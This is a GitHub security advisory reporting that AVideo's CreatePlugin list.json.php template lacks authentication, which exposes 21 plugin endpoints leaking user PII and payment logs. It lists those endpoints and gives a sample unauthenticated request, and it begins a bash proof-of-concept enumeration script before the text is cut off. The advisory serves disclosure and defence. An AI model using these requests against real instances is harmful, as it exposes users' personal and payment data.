GitHub Security Advisory: GHSA-g2mg-cgr6-vmv7
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints

Details:
## Summary

The AVideo `CreatePlugin` template for `list.json.php` does not include any authentication or authorization check. While the companion templates `add.json.php` and `delete.json.php` both require admin privileges, the `list.json.php` template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.

## Details

The `list.json.php` template in `CreatePlugin/templates/` lacks any authentication check. Comparing with the sibling templates:

```php
// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone
```

This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated `list.json.php` inherits the missing auth check, exposing the table contents to unauthenticated requests.

Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:

```
GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1
```

Response (HTTP 200):

```json
{
  "data": [
    {
      "id": 1,
      "users_id": 42,
      "ip": "REDACTED",
      "user_agent": "Mozilla/5.0 ...",
      "created": "2025-01-15 14:32:00",
      "room_name": "private-meeting-xyz"
    }
  ]
}
```

The 21 affected endpoints generated from this template include:

| Endpoint | Exposed Data |
|----------|-------------|
| `plugin/Meet/View/Meet_join_log/list.json.php` | User IDs, IP addresses, user agents, timestamps, room names |
| `plugin/PayPalYPT/View/PayPalYPT_log/list.json.php` | PayPal transaction logs, payment amounts, buyer info |
| `plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php` | Payment webhook data, transaction details |
| `plugin/CustomizeUser/View/Users_extra_info/list.json.php` | Extended user profile data, PII fields |
| `plugin/UserNotifications/View/User_notifications/list.json.php` | User notification records, activity patterns |
| `plugin/UserConnections/View/Users_connections/list.json.php` | Social connection graphs between users |
| And 15+ additional plugin endpoints | Various internal records |

## Proof of Concept

**Step 1:** Enumerate accessible list endpoints (no authentication required):

```bash
#!/bin/bash
TARGET="https://your-avideo-instance.com"

ENDPOINTS=(
  "plugin/Meet/View/Meet_join_log/list.json.php"
  "plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
  "plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
  "plugin/CustomizeUser/View/Users_extra_info/list.json.php"
  "plugin/UserNotifications/View/User_notifications/li